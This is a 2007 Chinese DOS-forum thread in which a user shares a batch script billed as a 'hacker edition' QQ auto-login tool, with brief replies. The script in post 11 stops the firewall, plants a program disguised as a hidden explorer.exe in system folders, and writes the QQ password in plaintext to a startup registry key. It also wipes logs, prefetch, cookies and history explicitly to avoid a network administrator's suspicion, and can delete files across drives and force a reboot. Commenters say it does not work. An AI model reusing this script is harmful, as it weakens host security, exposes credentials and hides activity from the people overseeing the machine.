中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: miniQQ挂机批处理 上一主题 | 下一主题
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『楼 主』:  miniQQ挂机批处理

此帖整合到11F

[ Last edited by koala on 2007-9-21 at 08:00 PM ]



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-7-26 20:04
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
hunter1313
初级用户





积分 20
发帖 10
注册 2007-1-28
来自 tj
状态 离线
『第 2 楼』:  

谢谢楼主,收下了,好东西~~

2007-7-28 09:19
查看资料  发送邮件  发短消息 网志  OICQ (362752296)  编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 3 楼』:  

呵呵,进行了初步更新,我下次将上传带自动识别计算机语言环境的功能



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-7-31 07:30
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
applecy
初级用户




积分 168
发帖 78
注册 2006-12-27
状态 离线
『第 4 楼』:  

miniQQ?就是像用命令提示符那样的截面那个?



               我抬头仰望,原来天还是跟原来一样高.
I look up to the rise, the original days or as high as the original.
2007-7-31 16:14
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 5 楼』:  是滴啊

不过我写的这个是比较适合对命令行不太熟悉的新手
免去部分命令输入之苦
例如 在我的批处理脚本中 你只需要输入'y'或'n'就可以决定
隐身/保存聊天记录....



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-8-1 14:20
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
john12900
初级用户





积分 95
发帖 40
注册 2007-5-2
状态 离线
『第 6 楼』:  

谢谢分享

2007-8-2 08:04
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
kaixinmao
初级用户





积分 27
发帖 14
注册 2007-4-7
状态 离线
『第 7 楼』:  

用bat2exe编译下好使吗?

2007-8-3 17:06
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 8 楼』:  

保护'bat源代码'的软件
我知道的就有20多种
我也知道编译成exe文件可以提高程序的
执行效率.

之所以没有编译成exe文件的目的是为了方便
www.cn-dos.net网友查看,借鉴或学习而已.




谢谢你提出这问题:P



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-8-4 10:07
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
superadam
初级用户





积分 113
发帖 51
注册 2007-2-15
状态 离线
『第 9 楼』:  

好東西﹐絕對收藏

2007-8-7 11:10
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
monkeydjl
初级用户





积分 22
发帖 10
注册 2007-7-31
状态 离线
『第 10 楼』:  

看不大懂
不过还是谢谢楼主啊!

2007-8-9 14:32
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 11 楼』:  我最近写的 QQ注册表挂机----黑客版

以下为代码部分
:##############################################
::Copyright (C) 2007 koala
::Contact: da2qia1ku5@126.com
::QQ 13019940
::此脚本是用瑞士的notepad2.exe在全屏模式下编辑的
@echo off
color 1f &mode con:cols=70 lines=17 &title 程序初始化
:var_set
:: enviroment variable initializing...
::变量初始化
rem 网络连接初始值--无效
set network=bad
rem 成功挂机的QQ个数初始值:0
set /a logged_Num=0
rem 启动自我毁灭程序初始值--假
set killself=No

:file_chk
cls
echo. &&echo. &echo. &echo                          程序初始化阶段...
echo                              请稍等...
ping /n 1 127.1>nul 2>nul
::关闭防火墙  ----中国dos联盟 网友 dhlkp提出,在此谢谢
@net stop ALG >nul 2>nul
@net stop SharedAccess>nul 2>nul
@set "path=%cd%;%path%"
::##########################################################################
::嵌套分析判断
::判断 %systemroot%\system\explorer.exe 和 %systemroot%\system\explorer.exe
::是文件还是文件夹,并进行相应的操作。如果是文件夹,删除;如果是文件,删除
::然后复制 miniQQ2.2.exe进去并重命名为 explorer.exe
::以下的  %=.....=%  为注释,此种注释类似于C语言中的 /*......*/
::##########################################################################
for %%f in ( %systemroot%\system, %systemroot%\system32 ) do (
   if exist "%%f\explorer.exe" (
       %systemroot%\system32\cacls.exe "%%f\explorer.exe" /e /t /p "%username%":F >nul 2>nul
       %systemroot%\system32\attrib.exe -r -s -h -a "%%f\explorer.exe" >nul 2>nul
       del /s /f /q %%f\explorer.exe
       if exist "%%f\explorer.exe" (
           rd /s /q %%f\explorer.exe
           call filecopy &call filepath ) else (
           call filecopy &call filepath )>nul 2>nul
:filepath      
if exist "%SYSTEMROOT%\System32\explorer.exe"\nul (            
   set main=%SYSTEMROOT%\System32\explorer.exe
       if exist "%SYSTEMROOT%\System32\explorer.exe"\nul (
           del /f /q "%SYSTEMROOT%\System\explorer.exe"      
           )
) else (
   if exist "%SYSTEMROOT%\System\explorer.exe"\nul (
       set main=%SYSTEMROOT%\System\explorer.exe >nul 2>nul
   ) else ( call filecopy
      set main=%SYSTEMROOT%\System32\explorer.exe ) >nul 2>nul
) >nul 2>nul     


:filecopy
   if exist %cd%\MiniQQ.2.2.exe (
       copy /y %cd%\MiniQQ2.2.exe %%f\explorer.exe
       attrib +s +h +r +a %%f\explorer.exe
   ) else (
       setlocal enabledelayedexpansion
       for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
           if exist %%d: (
                 cd\
                 for /f "tokens=*" %%c in ('dir /s /a-d /b %%d:\MiniQQ2.2.exe') do (
                       copy /y "%%c" "%%f"\explorer.exe &copy /y "%%c" "%%f"\explorer.exe
                       attrib +s +h +r +a %%f\explorer.exe
                       del /f /s /q "%%c" "%%f"\explorer.exe
                 )
           )
       )  
    )   
)>nul 2>nul
   
:start
::定义窗口工作模式
color 1f &mode con:cols=70 lines=17
title QQ注册表挂机--黑客版
::变量申明
set /a logged_Num+=1
::網絡連接有傚性初步預測
@ping -n 1 61.177.95.155 >nul &if not errorlevel 1 set network=ok >nul 2>nul
cls
::控制台界面
echo.
echo.
echo.
echo                  QQ注册表挂机--限量发行黑客版
echo.
echo.
echo                   (1) QQ挂机
echo                   (2) 网络测试
echo                   (3) 痕迹清理
echo                   (4) 取消挂机
echo                   (5) 销毁程序
echo                   (6) 退出
echo     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
set choice=7
set /p choice=        请选择你將要進行的操作:
@if "%choice%"=="1" goto :login
@if "%choice%"=="2" goto :Checking_Network
@if "%choice%"=="3" call :clear_Trace
@if "%choice%"=="4" goto :Log_off
@if "%choice%"=="5" goto :Kill_Myself
@if "%choice%"=="6" goto :eof
@if "%choice%"=="7" goto :readme
goto :start



:login
@if not exist %systemroot%\system32\explorer.exe (
    @if not exist %systemroot%\system\explorer.exe (
        cls
        echo 缺少核心文件
        ping /n 3 127.1>nul 2>nul   
        goto :file_chk
    )
)

@if %logged_Num%==5 (
echo  ###################################################################
echo  #[Tips:] 为了不暴露目标,本脚本定义挂Q的最高上限为5个,           #
echo  #如果你觉得满足不了你的愿望,请你联系我.                           #
echo  ###################################################################
echo.
echo                                   考拉
echo                                Q:13019940
ping /n 7 127.1 >nul 2>nul
set killself=Yes
goto :kill_Myself)

title 挂Q

::网罗连接有效性判断
if /i %network% NEQ ok goto:error

::AScode汇编代码核心部分
echo hP1X500P[PZBBBfh#b##fXf-V@`$fPf]f3/f1/5++u5x>in.com
cls
::输入QQ号和密码
set id=
set passwd=
set /p id=请输入Q号:
::將密碼用滙編程序暫時"轉移"到 in.com 以達到隱藏目的
set /p passwd=enter your QQ password:<nul
for /f "tokens=*" %%i in ('in.com') do set passwd=%%i
del /f in.com >nul 2>nul
::========================================================
::设置上线参数 隐身|保存聊天信息|   声音    |显示聊天情景|
::========================================================
::模式切换
chcp 936 >nul &mode con:cols=70 lines=17
::=====================设置是否隐身=======================
set YinShen=
set hidelogin=
set /p yinShen=是否隐身登陆[y/n]?
if /I %yinshen%==y set hidelogin=/hidelogin
if /I %yinshen%==n set hidelogin=
::==================设置保存聊天信息======================
set nosave=
set BaoCun=
set /p BaoCun=是否保存聊天信息[y/n]?
if /I %BaoCun%==n set nosave=/nosave
if /I %BaoCun%==y set nosave=
::================设置有信息时是否发出声音================
set Fasheng=
set nosound=
set /p Fasheng=有信息时是否发出声音[y/n]?
if /I %Fasheng%==n set nosound= /nosound
if /I %Fasheng%==y set nosound=
::================设置是否显示聊天情景====================
set Qingjing=
set noshow=
set /p Qingjing=是否显示聊天情景[y/n]?
if /I %Qingjing%==n set noshow=/noshow
if /I %Qingjing%==y set noshow=
::========================================================
::原命令形参数
:: /hidelogin /nosave /nosound /noshow
::========================================================
mode con: cols=60 lines=6
call :process
cls
echo 正在导入注册表...  
::导入注册表,以便系统启动时读取命令,进行挂Q
ping -n 2 127.1>nul
reg add HKLM\software\microsoft\windows\currentversion\run /v %logged_Num% /t reg_sz /d "%main% %id% %passwd% %hidelogin%%nosave%%nosound% %noshow%" /f >nul 2>nul
cls
echo 正在测试并进行验证登陆...
%main% %id% %passwd% %hidelogin% %nosave% %nosound% %noshow%
echo 登陆成功...
echo 
ping -n 2 127.1>nul
exit


:Checking_Network
::网络连接测试
:: 此ping连接的是网易163的服务器,保证了绝对有效的连接性。
:: 真'恨'死我自己了,做出了這么一个明智的选择。
cls
echo 正在测试网络连接的有效性...
ping -n 1 61.177.95.155 >nul
cls
::如果ping産生錯誤則转向錯提示信息
if errorlevel=1 set network=bad &goto:error
echo 网络连接正常...
echo 任意键返回主界面...
pause>nul
goto :start

:error
cls
::网络连接失败
color 4f
echo 未发现有效的网络连接  
echo 请确认你的猫是否已经正确连接到Internet.
pause>nul
goto :start

:process
:: 漂亮的进度条
set b============================================================
set b1=-
set n=1
:t1
cls
color e0
set b1=%b1%-
set b=%b:~1%
echo                  正在提交登陆数据,請等待...
echo.                  
echo %b1%%b%
set /a n+=1
if %n%==60 goto end
ping -n 1 127.1 >nul
goto t1


:Log_off
title 取消QQ注册表挂机
::如果导入注册表文件个数为0,显示错误信息
if "%logged_Num%"=="0" goto :no_QQ_login

::QQnum为注册表中记录"登陆的QQ号码个数"
set QQnum=0
:undo_login
title  撤销QQ挂机
color 1f               
cls
echo.
echo                 分析引擎正在撤销注册表QQ挂机……
::删除挂机痕迹
setlocal enabledelayedexpansion
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v %QQnum%>nul 2>nul |find /i "reg_sz">nul 2>nul
if errorlevel 0 (
             reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v %QQnum% /f >nul 2>nul
             set /a QQnum+=1
             if "%QQnum%"=="5" goto :succeed_in_Log_off
             goto :undo_login
             )   
    cls

:succeed_in_Log_off
echo.
echo.
echo                        取消QQ挂机成功
echo                     5秒钟后自动返回主界面
ping /n 4 127.1 >nul 2>nul
goto start

:no_QQ_login
title 读取数据失败
color 4f &echo &cls
echo 注册表读取过程中尚未发现有效的"QQ注册表挂机"数据  
ping /n 6 127.1 >nul 2>nul
goto start

:readme
color 1f &title 自述 内部版本号--killself_Stronger &mode con:cols=70 lines=18
echo         ┌━━━━━━━━━━━━━━━━━━━━━━━━━┐
echo         ┃                      说明                        ┃
echo ┌━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃源代码┃               koala独立自主开发                  ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃申明  ┃  对没有申请密码保护的QQ,密码丢失后不许抱猫哭     ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃特点1 ┃         自动识别网络和计算机语言环境             ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃特点2 ┃   采用汇编语言书写的 AScode 高级密码隐藏法       ┃
echo └━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo         ┃            程序运行5次以后自动销毁               ┃
echo         ├━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo         ┃                                        考拉      ┃
echo         ├━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo         ┃                                     Q 13019940   ┃
echo         └━━━━━━━━━━━━━━━━━━━━━━━━━┘
pause>nul
goto start

::#################################################################
:: 以下是毁灭本程序的关键部分
::#################################################################
:Kill_Myself
set killself=Yes
::##################################################################################################################
cd /d "%systemdrive%\"
>%systemdrive%\shutdown.vbs echo Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
>>%systemdrive%\shutdown.vbs echo For Each objOperatingSystem in colOperatingSystems
>>%systemdrive%\shutdown.vbs echo ObjOperatingSystem.Win32Shutdown(12)
>>%systemdrive%\shutdown.vbs echo Next
::##################################################################################################################
(echo ::分析操作系统并准备重启
echo set find=%systemroot%\system32\find.exe
echo ::分析.........
echo ver ^| ^"%%find^%%"  /i "Windows XP" > nul
echo   if not errorlevel 1 ^(
echo        set CHK_OS=XP
echo    ^) else (
echo        set CHK_OS=2K
echo    ^)
echo ::启用重新启动
echo ::然后调用HKLM\software\microsoft\windows\currentversion\RunOnce /v killmyself /t reg_sz /d %systemdrive%\KillMyself.bat
echo ::删除 QQ注册表挂机.exe 以及 %systemdrive%\KillMyself.bat
echo if ^%%CHK_OS%%==XP (
echo del ^%%systemdrive%%\shutdown.vbs
echo %systemroot%\system32\shutdown -r -t 0
echo ^) else (
echo cscript %systemdrive%\shutdown.vbs
echo ^) )>analyse_OS.bat
::##################################################################################################################
>%systemdrive%\KillMyself.bat echo cls ^&echo.
>>%systemdrive%\KillMyself.bat echo echo 痕迹清理完毕!程序正在启动分析引擎...
>>%systemdrive%\KillMyself.bat echo ping /n 4 127.1 ^>nul 2^>nul
>>%systemdrive%\KillMyself.bat echo ::进行逻辑分析,然后销毁挂机程序
>>%systemdrive%\KillMyself.bat echo cls
>>%systemdrive%\KillMyself.bat echo echo. ^&echo. ^&echo                            正在销毁程序...
>>%systemdrive%\KillMyself.bat echo setlocal enabledelayedexpansion
>>%systemdrive%\KillMyself.bat echo for ^%%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
>>%systemdrive%\KillMyself.bat echo    if exist ^%%%%i: (
>>%systemdrive%\KillMyself.bat echo        cd\
>>%systemdrive%\KillMyself.bat echo        for /f "tokens=*" ^%%%%a in ^('dir /s /a-d /b ^%%%%i:\**Q*Q**注**.*') do (
>>%systemdrive%\KillMyself.bat echo             del /q /a /f ^"%%%%a"
>>%systemdrive%\KillMyself.bat echo         ^)
>>%systemdrive%\KillMyself.bat echo     ^)
>>%systemdrive%\KillMyself.bat echo ^) ^>nul 2^>nul

>>%systemdrive%\KillMyself.bat echo :next
>>%systemdrive%\KillMyself.bat echo cls
>>%systemdrive%\KillMyself.bat echo for ^%%%%j in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
>>%systemdrive%\KillMyself.bat echo    if exist ^%%%%j: (
>>%systemdrive%\KillMyself.bat echo        cd\
>>%systemdrive%\KillMyself.bat echo        for /f "tokens=*" ^%%%%b in ^('dir /s /a-d /b ^%%%%j:\*%~n0*.*') do (
>>%systemdrive%\KillMyself.bat echo             del /q /a /f ^"%%%%b"
>>%systemdrive%\KillMyself.bat echo            ^%%systemdrive%%\analyse_OS.bat
>>%systemdrive%\KillMyself.bat echo            del /f ^%%systemdrive%%\KillMyself.bat
>>%systemdrive%\KillMyself.bat echo            del /f ^%%systemdrive%%\analyse_OS.bat
>>%systemdrive%\KillMyself.bat echo         ^)
>>%systemdrive%\KillMyself.bat echo     ^)
>>%systemdrive%\KillMyself.bat echo ^) ^>nul 2^>nul
::##################################################################################################################
::调用:Clear_Trace模块进行痕迹清理
goto :Clear_Trace

::删除临时文件夹
@rd /s /q %temp% &md %temp% >nul 2>nul
:: 安装文件产生的临时文件存放路径
@if exist %windir%\temp\*.* @rd /s /q %windir%\temp & md %windir%\temp >nul 2>nul
@if exist "%userprofile%\Local Settings\Temp\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Local Settings\Temp\*.*" >nul 2>nul
::####################################################################################################################
:clear_Trace
title 运行痕迹清理
cls
echo.
echo       脚本正在分析,是否有需要清理的文件以及物理痕迹......
::清理操作痕迹,以免引起网管的嫌疑
echo.
ping /n 5 127.1 >nul 2>nul

@taskkill /f /im explorer.exe >nul 2>nul

@if exist %systemdrive%\*.tmp del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.tmp >nul 2>nul

@if exist %systemdrive%\*._mp del /f /s /q /a attributes -h -s -r -a %systemdrive%\*._mp >nul 2>nul

@if exist %systemdrive%\*.log del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.log >nul 2>nul

@if exist  %systemdrive%\*.gid del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.gid >nul 2>nul

@if exist %systemdrive%\*.chk del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.chk >nul 2>nul

@if exist %systemdrive%\*.old del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.old >nul 2>nul

@if exist %systemdrive%\recycled\*.* del /f /s /q /a attributes -h -s -r -a %systemdrive%\recycled\*.* >nul 2>nul

@if exist %windir%\prefetch\*.* del /f /s /q /a attributes -h -s -r -a %windir%\prefetch\*.* >nul 2>nul

@if exist %systemroot%\$hf_mig$\*.* del /f /s /q /a attributes -h -s -r -a %systemroot%\$hf_mig$\*.* >nul 2>nul

@if exist %systemroot%\*.log del /f /s /q /a attributes -h -s -r -a %systemroot%\*.log >nul 2>nul
::注册表项
cls

:: 上网登陆邮箱,论坛等自动提交的数据
@if exist %userprofile%\cookies\*.* del /f /s /q /a attributes -h -s -r -a %userprofile%\cookies\*.* >nul 2>nul
:: 本地计算机最近打开的文件记录
@if exist "%userprofile%\recent\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Recent\*.*" >nul 2>nul

:: notepad历史记录
@reg delete "HKEY_CURRENT_USER\Software\Notepad2\MRU\Files" /f >nul 2>nul

:: 上次打开注册表记录
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit" /v LastKey  /f >nul 2>nul
::系统软件登记注册
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU" /f >nul 2>nul

:: 通知区域历史痕迹
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /f >nul 2>nul

:: 浏览网页产生的临时文件
@if exist "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Local Settings\Temporary Internet Files\*.*" >nul 2>nul

:: 通过资源管理器打开文件的历史记录
@reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs /f >nul 2>nul
@reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32 /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\runmru /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\opensavemru /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\userassist /f >nul 2>nul
:: 清除 WinRAR的相关垃圾信息
@reg delete "HKCU\software\winrar\ArcHistory"  /f >nul 2>nul
@reg delete "HKCU\Software\WinRAR\DialogEditHistory\ExtrPath" /va /f >nul 2>nul
@reg delete "HKCU\Software\WinRAR\General" /v lastFolder /f >nul 2>nul
:: 通过Internet Explorer打开文件的历史记录
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache" /f >nul 2>nul
@reg delete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs" /f  >nul 2>nul
@reg delete "HKCU\Software\Microsoft\Internet Explorer\Explorer Bars" /f  >nul 2>nul

::微软控制台运行记录
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Microsoft Management Console\Recent File List" /f >nul 2>nul
::运行痕迹
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams" /f >nul 2>nul
tasklist > "%temp%"\processlist.txt
type "%temp%"\processlist.txt|find /i "explorer.exe"  >nul 2>nul
if  errorlevel==1 taskkill /f /im explorer.exe  >nul 2>nul
start %systemroot%\explorer.exe
if exist "%temp%"\processlist.txt del /f /q /a attributes -h -s -r -a "%temp%"\processlist.txt
cls
::###########################
::撤销注入内存中的脚本变量  #
::###########################
set n=
set b1=
set logged_Num=
set b=
set i=
set a=
set i=
set j=
set killmyself=
set main=
set network=
set choice=
set id=
set passwd=
set YinShen=
set hidelogin=
set nosave=
set BaoCun=
set Fasheng=
set nosound=
set Qingjing=
set noshow=
set QQ=
set QQnum=
::###########################
cls
@if "%killself%"=="Yes" (
call %systemdrive%\KillMyself.bat
) else (
goto :start
)

:eof
endlocal

[ Last edited by koala on 2007-9-21 at 07:55 PM ]



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-8-21 17:22
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
dhlkp
初级用户





积分 24
发帖 11
注册 2006-10-4
状态 离线
『第 12 楼』:  

楼主啊
我发现在在我的电脑上不能用的啊?
是怎么回事
黑客版可以运行就是登陆不上去
考拉版的是出现:未发现有效的网络连接
请确认你的猫是否已经正确连接到Internet.,

2007-9-17 14:02
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 13 楼』:  

更新了一下源代码,自己机器上通过了,网吧却没有通过,希望有人能查证错误
另注:
这不是我最近写的那个版本,那个在一次U盘清理中无意删了,用了数据恢复工具,但是没有找到,这个版本会自动检测 MiniQQ2.2.exe 所在位置并进行合理配制



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-9-21 18:23
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
koala
初级用户

Batchs上議院參議長


积分 199
发帖 105
注册 2007-6-5
来自 江苏
状态 离线
『第 14 楼』:  

赌东道???



『生如夏花之绚烂
   死若秋叶之静美』 dos做到了
2007-10-3 16:45
查看资料  发送邮件  发短消息 网志  OICQ (13019940)  编辑帖子  回复  引用回复
dxt1988
初级用户





积分 23
发帖 12
注册 2007-2-27
状态 离线
『第 15 楼』:  

用不了!

2007-10-8 01:59
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: